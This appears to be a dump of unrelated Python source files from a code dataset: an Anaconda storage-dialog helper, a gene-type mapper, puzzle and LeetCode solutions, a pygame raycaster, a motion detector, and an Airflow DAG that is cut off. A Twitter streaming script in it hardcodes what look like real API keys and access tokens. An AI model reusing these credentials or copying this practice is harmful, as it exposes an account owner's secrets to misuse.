raid.getRaidLevel(selected_level)\n\ndef raidLevelSelection(raid_level):\n    \"\"\" Returns a string corresponding to the RAID level.\n\n        :param raid_level: a raid level\n        :type raid_level: instance of blivet.devicelibs.raid.RAID or None\n        :returns: a string corresponding to this raid level\n        :rtype: str\n    \"\"\"\n    return raid_level.name if raid_level else \"none\"\n\ndef defaultRaidLevel(device_type):\n    \"\"\" Returns the default RAID level for this device type.\n\n        :param int device_type: an int representing the device_type\n        :returns: the default RAID level for this device type or None\n        :rtype: blivet.devicelibs.raid.RAIDLevel or NoneType\n    \"\"\"\n    if device_type == DEVICE_TYPE_MD:\n        return mdraid.RAID_levels.raidLevel(\"raid1\")\n\n    return None\n\ndef defaultContainerRaidLevel(device_type):\n    \"\"\" Returns the default RAID level for this device type's container type.\n\n        :param int device_type: an int representing the device_type\n        :returns: the default RAID level for this device type's container or None\n        :rtype: blivet.devicelibs.raid.RAIDLevel or NoneType\n    \"\"\"\n    if device_type == DEVICE_TYPE_BTRFS:\n        return btrfs.RAID_levels.raidLevel(\"single\")\n\n    return None\n\ndef requiresRaidSelection(device_type):\n    \"\"\" Whether GUI requires a RAID level be selected for this device type.\"\"\"\n    return device_type == DEVICE_TYPE_MD\n\ndef memoizer(f):\n    \"\"\" A simple decorator that memoizes by means of the shared default\n        value for cache in the result function.\n\n        :param f: a function of a single argument\n        :returns: a memoizing version of f\n    \"\"\"\n    @functools.wraps(f)\n    def new_func(arg, cache={}):\n        # pylint: disable=dangerous-default-value\n        if arg in cache:\n            return cache[arg]\n\n        result = f(arg)\n        cache[arg] = result\n        return result\n\n    return new_func\n\n@memoizer\ndef raidLevelsSupported(device_type):\n    \"\"\" The raid levels anaconda supports for this device type.\n\n        It supports any RAID levels that it expects to support and that blivet\n        supports for the given device type.\n\n        Since anaconda only ever allows the user to choose RAID levels for\n        device type DEVICE_TYPE_MD, hiding the RAID menu for all other device\n        types, the function only returns a non-empty set for this device type.\n        If this changes, then so should this function, but at this time it\n        is not clear what RAID levels should be offered for other device types.\n\n        :param int device_type: one of an enumeration of device types\n        :returns: a set of supported raid levels\n        :rtype: a set of instances of blivet.devicelibs.raid.RAIDLevel\n    \"\"\"\n    if device_type == DEVICE_TYPE_MD:\n        supported = set(raid.RAIDLevels([\"raid0\", \"raid1\", \"raid4\", \"raid5\", \"raid6\", \"raid10\"]))\n    else:\n        supported = set()\n    return get_supported_raid_levels(device_type).intersection(supported)\n\n@memoizer\ndef containerRaidLevelsSupported(device_type):\n    \"\"\" The raid levels anaconda supports for a container for this\n        device_type.\n\n        For LVM, anaconda supports LVM on RAID, but also allows no RAID.\n\n        :param int device_type: one of an enumeration of device types\n        :returns: a set of supported raid levels\n        :rtype: a set of instances of blivet.devicelibs.raid.RAIDLevel\n    \"\"\"\n    if device_type in (DEVICE_TYPE_LVM, DEVICE_TYPE_LVM_THINP):\n        supported = set(raid.RAIDLevels([\"raid0\", \"raid1\", \"raid4\", \"raid5\", \"raid6\", \"raid10\"]))\n        return get_supported_raid_levels(DEVICE_TYPE_MD).intersection(supported).union(set([None]))\n    elif device_type == DEVICE_TYPE_BTRFS:\n        supported = set(raid.RAIDLevels([\"raid0\", \"raid1\", \"raid10\", \"single\"]))\n        return get_supported_raid_levels(DEVICE_TYPE_BTRFS).intersection(supported)\n    return set()\n\ndef get_container_type_name(device_type):\n    return CONTAINER_TYPE_NAMES.get(device_type, _(\"container\"))\n\nclass AddDialog(GUIObject):\n    builderObjects = [\"addDialog\", \"mountPointStore\", \"mountPointCompletion\", \"mountPointEntryBuffer\"]\n    mainWidgetName = \"addDialog\"\n    uiFile = \"spokes/lib/custom_storage_helpers.glade\"\n\n    def __init__(self, *args, **kwargs):\n        self.mountpoints = kwargs.pop(\"mountpoints\", [])\n        GUIObject.__init__(self, *args, **kwargs)\n        self.size = Size(0)\n        self.mountpoint = \"\"\n        self._error = False\n\n        store = self.builder.get_object(\"mountPointStore\")\n        populate_mountpoint_store(store, self.mountpoints)\n        self.builder.get_object(\"addMountPointEntry\").set_model(store)\n\n        completion = self.builder.get_object(\"mountPointCompletion\")\n        completion.set_text_column(0)\n        completion.set_popup_completion(True)\n\n        self._warningLabel = self.builder.get_object(\"mountPointWarningLabel\")\n\n    def on_add_confirm_clicked(self, button, *args):\n        self.mountpoint = self.builder.get_object(\"addMountPointEntry\").get_active_text()\n        self._error = validate_mountpoint(self.mountpoint, self.mountpoints,\n                                          strict=False)\n        self._warningLabel.set_text(self._error)\n        self.window.show_all()\n        if self._error:\n            return\n\n        self.size = size_from_entry(self.builder.get_object(\"addSizeEntry\"))\n        self.window.destroy()\n\n    def refresh(self):\n        GUIObject.refresh(self)\n        self._warningLabel.set_text(\"\")\n\n    def run(self):\n        while True:\n            self._error = None\n            rc = self.window.run()\n            if not self._error:\n                return rc\n\nclass ConfirmDeleteDialog(GUIObject):\n    builderObjects = [\"confirmDeleteDialog\"]\n    mainWidgetName = \"confirmDeleteDialog\"\n    uiFile = \"spokes/lib/custom_storage_helpers.glade\"\n\n    def __init__(self, *args, **kwargs):\n        GUIObject.__init__(self, *args, **kwargs)\n        self._removeAll = self.builder.get_object(\"removeAllCheckbox\")\n\n    @property\n    def deleteAll(self):\n        return self._removeAll.get_active()\n\n    def on_delete_confirm_clicked(self, button, *args):\n        self.window.destroy()\n\n    # pylint: disable=arguments-differ\n    def refresh(self, mountpoint, device, rootName, snapshots=False):\n        GUIObject.refresh(self)\n        label = self.builder.get_object(\"confirmLabel\")\n\n        if rootName and \"_\" in rootName:\n            rootName = rootName.replace(\"_\", \"__\")\n        self._removeAll.set_label(\n                C_(\"GUI|Custom Partitioning|Confirm Delete Dialog\",\n                    \"Delete _all file systems which are only used by %s.\")\n                % rootName)\n        self._removeAll.set_sensitive(rootName is not None)\n\n        if mountpoint:\n            txt = \"%s (%s)\" % (mountpoint, device)\n        else:\n            txt = device\n\n        if not snapshots:\n            label_text = _(\"Are you sure you want to delete all of the data on %s?\") % txt\n        else:\n            label_text = _(\"Are you sure you want to delete all of the data on %s, including snapshots and/or subvolumes?\") % txt\n\n        label.set_text(label_text)\n\n    def run(self):\n        return self.window.run()\n\nclass DisksDialog(GUIObject):\n    builderObjects = [\"disks_dialog\", \"disk_store\", \"disk_view\"]\n    mainWidgetName = \"disks_dialog\"\n    uiFile = \"spokes/lib/custom_storage_helpers.glade\"\n\n    def __init__(self, *args, **kwargs):\n        self._disks = kwargs.pop(\"disks\")\n        free = kwargs.pop(\"free\")\n        self.selected = kwargs.pop(\"selected\")[:]\n        GUIObject.__init__(self, *args, **kwargs)\n        self._store = self.builder.get_object(\"disk_store\")\n        # populate the store\n        for disk in self._disks:\n            self._store.append([\"%s (%s)\" % (getDiskDescription(disk), disk.serial),\n                                str(disk.size),\n                                str(free[disk.name][0]),\n                                disk.name,\n                                disk.id])\n\n        treeview = self.builder.get_object(\"disk_view\")\n        model = treeview.get_model()\n        itr = model.get_iter_first()\n        selected_ids = [d.id for d in self.selected]\n        selection = treeview.get_selection()\n        while itr:\n            disk_id = model.get_value(itr, 4)\n            if disk_id in selected_ids:\n                selection.select_iter(itr)\n\n            itr = model.iter_next(itr)\n\n    def on_cancel_clicked(self, button):\n        self.window.destroy()\n\n    def _get_disk_by_id(self, disk_id):\n        for disk in self._disks:\n            if disk.id == disk_id:\n                return disk\n\n    def on_select_clicked(self, button):\n        treeview = self.builder.get_object(\"disk_view\")\n        model, paths = treeview.get_selection().get_selected_rows()\n        self.selected = []\n        for path in paths:\n            itr = model.get_iter(path)\n            disk_id = model.get_value(itr, 4)\n            self.selected.append(self._get_disk_by_id(disk_id))\n\n        self.window.destroy()\n\n    def run(self):\n        return self.window.run()\n\nclass ContainerDialog(GUIObject, GUIDialogInputCheckHandler):\n    builderObjects = [\"container_dialog\", \"disk_store\", \"container_disk_view\",\n                      \"containerRaidStoreFiltered\", \"containerRaidLevelLabel\",\n                      \"containerRaidLevelCombo\", \"raidLevelStore\",\n                      \"containerSizeCombo\", \"containerSizeEntry\",\n                      \"containerSizeLabel\", \"containerEncryptedCheckbox\"]\n    mainWidgetName = \"container_dialog\"\n    uiFile = \"spokes/lib/custom_storage_helpers.glade\"\n\n    def __init__(self, *args, **kwargs):\n        GUIDialogInputCheckHandler.__init__(self)\n\n        # these are all absolutely required. not getting them is fatal.\n        self._disks = kwargs.pop(\"disks\")\n        free = kwargs.pop(\"free\")\n        self.selected = kwargs.pop(\"selected\")[:]\n        self.name = kwargs.pop(\"name\") or \"\" # make sure it's a string\n        self.device_type = kwargs.pop(\"device_type\")\n        self.storage = kwargs.pop(\"storage\")\n\n        # these are less critical\n        self.raid_level = kwargs.pop(\"raid_level\", None) or None # not \"\"\n        self.encrypted = kwargs.pop(\"encrypted\", False)\n        self.exists = kwargs.pop(\"exists\", False)\n\n        self.size_policy = kwargs.pop(\"size_policy\", SIZE_POLICY_AUTO)\n        self.size = kwargs.pop(\"size\", Size(0))\n\n        self._error = None\n        GUIObject.__init__(self, *args, **kwargs)\n\n        self._grabObjects()\n\n        # set up the dialog labels with device-type-specific text\n        container_type = get_container_type_name(self.device_type)\n        title_text = _(CONTAINER_DIALOG_TITLE) % {\"container_type\": container_type.upper()}\n        self._title_label.set_text(title_text)\n\n        dialog_text = _(CONTAINER_DIALOG_TEXT) % {\"container_type\": container_type.lower()}\n        self._dialog_label.set_text(dialog_text)\n\n        # populate the dialog widgets\n        self._name_entry.set_text(self.name)\n\n        # populate the store\n        for disk in self._disks:\n            self._store.append([getDiskDescription(disk),\n                                str(disk.size),\n                                str(free[disk.name][0]),\n                                disk.name,\n                                disk.id])\n\n        model = self._treeview.get_model()\n        itr = model.get_iter_first()\n\n        selected_ids = [d.id for d in self.selected]\n        selection = self._treeview.get_selection()\n        while itr:\n            disk_id = model.get_value(itr, 4)\n            if disk_id in selected_ids:\n                selection.select_iter(itr)\n\n            itr = model.iter_next(itr)\n\n        # XXX how will this be related to the device encryption setting?\n        self._encryptCheckbutton.set_active(self.encrypted)\n\n        # set up the raid level combo\n        # XXX how will this be related to the device raid level setting?\n        self._raidStoreFilter.set_visible_func(self._raid_level_visible)\n        self._raidStoreFilter.refilter()\n        self._populate_raid()\n\n        self._original_size = self.size\n        self._original_size_text = self.size.humanReadable(max_places=None)\n        self._sizeEntry.set_text(self._original_size_text)\n        if self.size_policy == SIZE_POLICY_AUTO:\n            self._sizeCombo.set_active(0)\n        elif self.size_policy == SIZE_POLICY_MAX:\n            self._sizeCombo.set_active(1)\n        else:\n            self._sizeCombo.set_active(2)\n\n        if self.exists:\n            fancy_set_sensitive(self._name_entry, False)\n            self._treeview.set_sensitive(False)\n            fancy_set_sensitive(self._encryptCheckbutton, False)\n            fancy_set_sensitive(self._sizeCombo, False)\n            self._sizeEntry.set_sensitive(False)\n\n        # Check that the container name configured is valid\n        self.add_check(self._name_entry, self._checkNameEntry)\n\n    def _grabObjects(self):\n        self._title_label = self.builder.get_object(\"container_dialog_title_label\")\n        self._dialog_label = self.builder.get_object(\"container_dialog_label\")\n        self._error_label = self.builder.get_object(\"containerErrorLabel\")\n\n        self._name_entry = self.builder.get_object(\"container_name_entry\")\n\n        self._encryptCheckbutton = self.builder.get_object(\"containerEncryptedCheckbox\")\n        self._raidStoreFilter = self.builder.get_object(\"containerRaidStoreFiltered\")\n\n        self._store = self.builder.get_object(\"disk_store\")\n        self._treeview = self.builder.get_object(\"container_disk_view\")\n\n        self._sizeCombo = self.builder.get_object(\"containerSizeCombo\")\n        self._sizeEntry = self.builder.get_object(\"containerSizeEntry\")\n\n        self._raidLevelCombo = self.builder.get_object(\"containerRaidLevelCombo\")\n        self._raidLevelLabel = self.builder.get_object(\"containerRaidLevelLabel\")\n\n        self._save_button = self.builder.get_object(\"container_save_button\")\n\n    def _get_disk_by_id(self, disk_id):\n        for disk in self._disks:\n            if disk.id == disk_id:\n                return disk\n\n    def on_save_clicked(self, button):\n        if self.exists:\n            self.window.destroy()\n            return\n\n        model, paths = self._treeview.get_selection().get_selected_rows()\n\n        raid_level = selectedRaidLevel(self._raidLevelCombo)\n        if raid_level:\n            min_disks = raid_level.min_members\n            if len(paths) < min_disks:\n                self._error = (_(RAID_NOT_ENOUGH_DISKS) % {\"level\" : raid_level,\n                                                           \"min\" : min_disks,\n                                                           \"count\" : len(paths)})\n                self._error_label.set_text(self._error)\n                self.window.show_all()\n                return\n\n        idx = self._sizeCombo.get_active()\n        if idx == 0:\n            size = SIZE_POLICY_AUTO\n        elif idx == 1:\n            size = SIZE_POLICY_MAX\n        elif idx == 2:\n            if self._original_size_text != self._sizeEntry.get_text():\n                size = size_from_entry(self._sizeEntry)\n                if size is None:\n                    size = SIZE_POLICY_MAX\n            else:\n                size = self._original_size\n\n        # now save the changes\n\n        self.selected = []\n        for path in paths:\n            itr = model.get_iter(path)\n            disk_id = model.get_value(itr, 4)\n            self.selected.append(self._get_disk_by_id(disk_id))\n\n        self.name = self._name_entry.get_text().strip()\n        self.raid_level = raid_level\n        self.encrypted = self._encryptCheckbutton.get_active()\n        self.size_policy = size\n\n        self._error_label.set_text(\"\")\n        self.window.destroy()\n\n    def run(self):\n        while True:\n            self._error = None\n            rc = self.window.run()\n            if not self._error:\n                return rc\n\n    def on_size_changed(self, combo):\n        active_index = combo.get_active()\n        if active_index == 0:\n            self._sizeEntry.set_sensitive(False)\n        elif active_index == 1:\n            self._sizeEntry.set_sensitive(False)\n        else:\n            self._sizeEntry.set_sensitive(True)\n\n\n    def _raid_level_visible(self, model, itr, user_data):\n        raid_level_str = model[itr][1]\n        raid_level = raid.getRaidLevel(raid_level_str) if raid_level_str != \"none\" else None\n        return raid_level in containerRaidLevelsSupported(self.device_type)\n\n    def _populate_raid(self):\n        \"\"\" Set up the raid-specific portion of the device details.\n\n            Hide the RAID level menu if this device type does not support RAID.\n            Choose a default RAID level.\n        \"\"\"\n        if not containerRaidLevelsSupported(self.device_type):\n            map(really_hide, [self._raidLevelLabel, self._raidLevelCombo])\n            return\n\n        raid_level = self.raid_level or defaultContainerRaidLevel(self.device_type)\n        raid_level_name = raidLevelSelection(raid_level)\n\n        # Set a default RAID level in the combo.\n        for (i, row) in enumerate(self._raidLevelCombo.get_model()):\n            log.debug(\"container dialog: raid level %s\", row[1])\n            if row[1] == raid_level_name:\n                self._raidLevelCombo.set_active(i)\n                break\n\n        map(really_show, [self._raidLevelLabel, self._raidLevelCombo])\n        fancy_set_sensitive(self._raidLevelCombo, not self.exists)\n\n    def _checkNameEntry(self, inputcheck):\n        container_name = self.get_input(inputcheck.input_obj).strip()\n\n        # Check that the container name is valid\n        safename = self.storage.safeDeviceName(container_name)\n        if container_name != safename:\n            return _(\"Invalid container name\")\n\n        return InputCheck.CHECK_OK\n\n    def set_status(self, inputcheck):\n        # Use the superclass set_status to set the error message\n        GUIDialogInputCheckHandler.set_status(self, inputcheck)\n\n        # Change the sensitivity of the Save button\n        self._save_button.set_sensitive(next(self.failed_checks, None) == None)\n","sub_path":"rootfs/usr/lib64/python2.7/site-packages/pyanaconda/ui/gui/spokes/lib/custom_storage_helpers.py","file_name":"custom_storage_helpers.py","file_ext":"py","file_size_in_byte":25303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"262265618","text":"#!/usr/bin/env python\n\nimport re\n\n\nncRNA = [\"sense_intronic\",\"3prime_overlapping_ncRNA\",'processed_transcript',\n        'sense_overlapping','Other_lncRNA', 'macro_lncRNA','non_coding','known_ncrna', 'LRG_gene',\n        'lincRNA','bidirectional_promoter_lncRNA', 'ribozyme','3prime_overlapping_ncrna']\nsmncRNA = ['misc_RNA','snRNA','piRNA','scaRNA','sRNA','scRNA']\nlarge_rRNA = ['28S_rRNA','18S_rRNA']\nsmall_rRNA = ['rRNA','5S_rRNA','58S_rRNA','5.8S_rRNA']\nprotein_coding = ['protein_coding','TR','IG']\ndef change_gene_type(x):\n    type = ''\n    if x in ncRNA or re.search('pseudo',x):\n        type = 'Other ncRNA'\n    elif re.search('TR|IG|protein',x):\n        type = 'Protein coding'\n    elif x.startswith('Mt_'):\n        type = 'Mt'\n    elif x == 'tRNA':\n        type = 'tRNA'\n    elif x in small_rRNA or x in large_rRNA:\n        type = 'rRNA'\n    elif x in smncRNA:\n        type = 'Other sncRNA'\n    elif x =='antisense':\n        type = 'Antisense'\n    else:\n        type = x\n    return type\n\n","sub_path":"tgirt_map/table_tool.py","file_name":"table_tool.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"312349512","text":"with open(\"input.txt\") as f:\n  content = f.readlines()\n\ncontent = [x.strip() for x in content] \n\n# part 1\n\ntwos = 0\nthrees = 0\n\nfor id in content: \n  counts = {}\n  for c in id:\n    if c in counts.keys():\n      counts[c] += 1\n    else:\n      counts[c] = 1\n  if 2 in counts.values():\n    twos += 1\n  if 3 in counts.values():\n    threes += 1\n\np1 = twos * threes\n\nprint(\"part one:\", p1)\n\n# part 2\n\np2 = ''\n\nfor id1 in content:\n  for id2 in content:\n    list1 = list(id1)\n    list2 = list(id2)\n    wrong = 0\n    i = 0\n    while i < len(list1):\n      if list1[i] != list2[i]:\n        wrong += 1\n        wrongindex = i\n      i += 1\n    if (wrong == 1):\n      del list1[wrongindex]\n      p2 = ''.join(list1)\n\nprint(\"part two:\", p2)\n\n\n","sub_path":"aoc-2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"289134583","text":"from channels.db import database_sync_to_async\n\n\nasync def async_manager_func(model, func, *, manager='objects', **kwargs):\n    \"\"\"\n    Returns a function from `model.objects.func` as an async func so it can be called by `await`.\n\n    Parameters\n    ----------\n    model: :class:`models.Model`\n        Django model.\n    func: :class:`str`\n        Function to execute\n    manager: :class:`str`\n        Manager to use.\n    \"\"\"\n\n    if not hasattr(model, manager):\n        raise ImportError(f'{manager} is not a manager for {model.__module__}.')\n\n    manager = getattr(model, manager)\n    if not hasattr(manager, func):\n        raise ImportError(f'{func} is not a function for {manager}.')\n\n    func = getattr(model.objects, func)\n\n    async_func = database_sync_to_async(func)\n    return await async_func(**kwargs)\n","sub_path":"common/tools/sync/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"103446806","text":"import glm\nimport pygame\n\nfrom utils import Ray, GridMap, Render\n\n\ndef mouse_motion(ray: Ray, event: glm.ivec2):\n    ray.angle_degrees += event.x\n\n\ndef key_pressed(player_ray: Ray, grid: GridMap, speed: float, keys: dict):\n    new_pos = glm.vec2(player_ray.origin)\n\n    if keys[pygame.K_w]:\n        new_pos += speed * player_ray.direction\n    elif keys[pygame.K_s]:\n        new_pos -= speed * player_ray.direction\n\n    if keys[pygame.K_a]:\n        player_ray.angle_degrees += -1\n    elif keys[pygame.K_d]:\n        player_ray.angle_degrees += 1\n\n    tile_x, tile_y = new_pos / grid.cell_size\n    if grid.get(int(tile_x), int(tile_y)) != grid.stop_when:\n        player_ray.origin = new_pos\n\n\ndef display_buffer(display, buffer):\n    img = pygame.image.fromstring(buffer.tobytes(), buffer.size, buffer.mode)\n    display.blit(img, (0, 0))\n\n\ndef main(width: int, height: int):\n    running = True\n    player_speed = 2.0\n    player_fov = glm.radians(60)\n    player_ray = Ray(glm.vec2(200, 200), glm.radians(0))\n    game_map = GridMap.from_file('assets/maps/10x10map.txt', 64)\n    render = Render(width, height)\n\n    pygame.init()\n    display = pygame.display.set_mode((width, height))\n    pygame.event.set_grab(True)\n    pygame.mouse.set_visible(False)\n    clock = pygame.time.Clock()\n\n    fps_font = pygame.font.SysFont('Comic Sans MS', 30)\n\n    while running:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running = False\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_ESCAPE:\n                    running = False\n            elif event.type == pygame.MOUSEMOTION:\n                mouse_motion(player_ray, glm.ivec2(event.rel))\n\n        key_pressed(player_ray, game_map, player_speed, pygame.key.get_pressed())\n        render.update_state(player_ray, player_fov, game_map)\n        display_buffer(display, render.buffer)\n        fps_overlay = fps_font.render(f'FPS {clock.get_fps():.1f}', True, pygame.Color('white'))\n        display.blit(fps_overlay, (width - 90, 10))\n\n        pygame.display.update()\n        clock.tick(60)\n\n    pygame.quit()\n\n\nif __name__ == '__main__':\n    main(640, 640)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"424120286","text":"# Time Complexity : O(log n)\n# Space Complexity : O(1)\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n\n# Your approach:\n# Intuition: Trying to make the array with respect to x. We can take absolute difference of all elements from the given value of x and return the k numbers that have least difference. We can sort the difference array, first k elements will get us the answer.\n# Problem would be to fetch the actual values: can be resolved by putting tuples and sort based on the first value and return output as the second value of the tuple. \n\n# Approach 1: Why not redefine the comparator? Add a custom comparator: Math.abs(x-a) > Math.abs(x-b)\n# This would sort the given array according to our requirement and first k elements will be our answer.\n# Time Complexity-> O(nlogn)\n\n# Approach 2: Optimal Solution\n# Start with a low point at 0, high starts at length-k. If we know the starting point, we can iterate k times to get the output. If x were smaller than first element, low would be our starting point and if x is greater than last element, high would be our starting point (and hence high=length-k).\n# Keeping midpoint as it is in binary search, we maintain LB=abs(x-arr[mid]) and RB=abs(x-arr[mid+k])(left bound and right bound); also mid+k will always exist as we are setting high= length-k. If LB > RB, it indicates that left side is longer than right side of x in the array and hence the starting point will be further away from our x; right side will be closer to x. This will tell us where we want to move in our binary search while low<high. \n\nclass Solution:\n    def findClosestElements(self, arr: List[int], k: int, x: int) -> List[int]:\n        \n        output = []\n        low = 0\n        high = len(arr)-k\n        \n        while low<high:\n            mid = low+(high-low)//2\n            L_B = abs(x- arr[mid])\n            R_B = abs(x- arr[mid+k])\n            \n            if L_B > R_B:\n                low = mid+1\n            else:\n                if arr[mid] == arr[mid+k]:\n                    low = mid+1\n                else:    \n                    high = mid\n                \n        for i in range(low, low+k):\n            output.append(arr[i])\n        \n        return output\n        \n                \n            \n            \n             \n        ","sub_path":"kClosestElements_658.py","file_name":"kClosestElements_658.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"431856303","text":"import json, time\n\nimport tweepy\nimport Publisher as publisher\n\n# Authenticate\nfrom tweepy import StreamListener\n\nauth = tweepy.OAuthHandler(\"f2P1qTi4YioChDeALucTREBfX\", \"Lidx9DszAoVpzRo6QGyJwUhzceZ5hOxe7SkMI9xw5EulKMzmaS\")\nauth.set_access_token(\"153918738-SQi9h0I8UWA4ABmZOyiZyWP8ilD39kfAXQfGqSFT\", \"T5nuktfWRiRICE5RmvAalGuDOILJ3AB9pMPQn98vrzkZC\")\n\n# Configure to wait on rate limit if necessary\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=False)\n\n# Hashtag list\nlst_hashtags = [\"فودافون\"]\n\n\nclass TweetListener(StreamListener):\n\n    def on_status(self, data):\n        # When receiving a tweet: send it to pubsub\n        #data = self.createJSON(data._json)\n        publisher.write_to_pubsub(data._json)\n        #print(self.createJSON(data._json).decode())\n        return True\n\n    def on_error(self, status):\n        if status == 420:\n            print(\"rate limit active\")\n            return False\n\n    def createJSON(self, data):\n        json_str = json.dumps({\n            'uniqueID': data[\"id\"],\n            'text': data[\"text\"],\n            \"user_name\": data[\"user\"][\"screen_name\"],\n            \"created_at\": time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(data['created_at'],'%a %b %d %H:%M:%S +0000 %Y'))\n        },ensure_ascii=False)\n        return json_str.encode('utf8')\n\n\nif __name__ == '__main__':\n\n# Make an instance of the class\n    l = TweetListener()\n\n# Start streaming\n    stream = tweepy.Stream(auth, l, tweet_mode='extended')\n    stream.filter(track=lst_hashtags)","sub_path":"Twitter Streaming - Pubsub/TwitterStreaming.py","file_name":"TwitterStreaming.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"235652632","text":"import cv2, time, pandas\r\nfrom datetime import datetime\r\n\r\nfirst_frame=None\r\nstatus_list=[None,None]\r\ntimes=[]\r\ndf=pandas.DataFrame(columns=[\"Start\",\"End\"]) #we create a pandas dataframe with 2 columns start and end\r\n\r\nvideo=cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n    check, frame=video.read() #first gets the first frame of the video and then rest of the frames\r\n    status=0 #when there is no object in the first frame\r\n    gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY) #frame will be converted into gray frame\r\n    gray=cv2.GaussianBlur(gray,(21,21),0) #blur the image make it smooth as it removes noise and increases accuracy in the calculation\r\n\r\n    if first_frame is None: #true in the first iteration of the loop\r\n        first_frame=gray  #so assign the grayscale image of the first frame\r\n        continue\r\n\r\n    delta_frame=cv2.absdiff(first_frame,gray)   #compares the first background frame and current frame \r\n\r\n    thresh_frame=cv2.threshold(delta_frame,30,255,cv2.THRESH_BINARY)[1]  #set the threshold image and value, it returns a tuple with 2 value\r\n    #for threshold binary we need to access only the second item of the tuple which is the actual frame that is returned from the threshold tuple\r\n\r\n    thresh_frame=cv2.dilate(thresh_frame,None,iterations=2) #smoothen or dilate the threshold image, more the iterations smoother the image\r\n\r\n    (cnts,_)=cv2.findContours(thresh_frame.copy(),cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)#find all the contours of the distinct objects in the dilated threshold frame\r\n    #we need to find the contours and check their areas so we store them in a tuple cnts\r\n    #we use a copy of the thresh frame so we dont modify the original frame\r\n\r\n    for contour in cnts:  #we filter out the contours as we only want those with area>1000 pixels\r\n        if cv2.contourArea(contour)<1000:\r\n            continue \r\n        status=1 #when countour area >1000 ie when a moving object is present    \r\n\r\n        (x,y,w,h)=cv2.boundingRect(contour)  #for countour area>1000 we draw a rectangle around that object\r\n        cv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,0),3)\r\n        \r\n    status_list.append(status)\r\n\r\n    if status_list[-1]==1 and status_list[-2]==0:  #if the last item is 1 and second last is 0 that means object has left the frame\r\n        times.append(datetime.now())  #record the timestamp\r\n    if status_list[-1]==0 and status_list[-2]==1:  #if 0 then 1 means object has entered the frame\r\n        times.append(datetime.now())\r\n\r\n\r\n    cv2.imshow(\"Gray Frame\",gray)\r\n    cv2.imshow(\"Delta Frame\",delta_frame) #shows the image after comparing ie the difference\r\n    cv2.imshow(\"Threshold Frame\",thresh_frame)\r\n    cv2.imshow(\"Color Frame\",frame)\r\n\r\n\r\n    key=cv2.waitKey(1)\r\n    print(gray)\r\n    print(delta_frame) #gives the difference bw the intensities of the corressponding pixels\r\n    #higher the difference means motion, less diff means no motion\r\n\r\n    if key==ord('q'):\r\n        if status==1:\r\n            times.append(datetime.now())\r\n        break\r\n\r\nprint(status_list)  #we get the actual status of each frame 0 for no object 1 for moving object\r\nprint(times) \r\n\r\nfor i in range(0,len(times),2):  #iterating through the timestamps list from 0 to the length of the list with a period of 2 and append those values into the dataframe\r\n    df=df.append({\"Start\":times[i],\"End\":times[i+1]},ignore_index=True)\r\n\r\ndf.to_csv(\"Times.csv\")\r\n\r\nvideo.release()\r\ncv2.destroyAllWindows\r\n\r\n#store the current frame so the as soon as the video starts we want to store the numpy area in a variable and make it statis so that its value doesnt change while the 'while' loop runs in the script\r\n\r\n#we store the timestamps list into a Pandas dataframe and then into a csv file\r\n#statr column will have the entry values and end column will have the exit values","sub_path":"Motion sensing/motion_detect/motion_detector.py","file_name":"motion_detector.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"139388424","text":"import AirflowVariables\nimport Transformations_Website as twr\nimport logging\nimport os\nimport getpass\nimport re\nfrom airflow.models import DAG, xcom\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.hooks.base_hook import BaseHook\nfrom airflow.operators.sqlite_operator import SqliteOperator\nfrom airflow.contrib.operators.slack_webhook_operator import SlackWebhookOperator\nfrom airflow.contrib.operators.ssh_operator import SSHOperator\nfrom datetime import datetime, timedelta, timezone\n\nDAG_ID = 'dag_website_updates'\nAirflow_var = AirflowVariables.AirflowVariables()\n# Global variables used in this file\nSLACK_CONN_ID = Airflow_var.slack_conn_id\nSQL_ALCHEMY_CONN = Airflow_var.sql_alchemy_conn\nLOCAL_PATH = Airflow_var.local_path\nFLASK_PATH = Airflow_var.flask_path\nEPS = Airflow_var.eps\nuser = getpass.getuser()\n\"\"\"\nIn this DAG, tasks that are related to the updating and maintaining of the website are here defined.\n\"\"\"\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# DAG\n# ----------------------------------------------------------------------------------------------------------------------\ndef fail_slack_alert(context):\n    \"\"\"\n    Sends a message to the slack channel airflowalerts if a task in the pipeline fails\n    :param context: context\n    :return: fail_alert execution\n    \"\"\"\n    slack_webhook_token = BaseHook.get_connection(SLACK_CONN_ID).password\n    slack_msg = \"\"\"\n            :angry: Task Failed. \n            *Task*: {task}  \n            *Dag*: {dag} \n            *Execution Time*: {exec_date}  \n            The task mentioned above failed spectacularly :male_mage:\n            \"\"\".format(\n            task=context.get('task_instance').task_id,\n            dag=context.get('task_instance').dag_id,\n            ti=context.get('task_instance'),\n            exec_date=context.get('execution_date'),\n        )\n    failed_alert = SlackWebhookOperator(\n        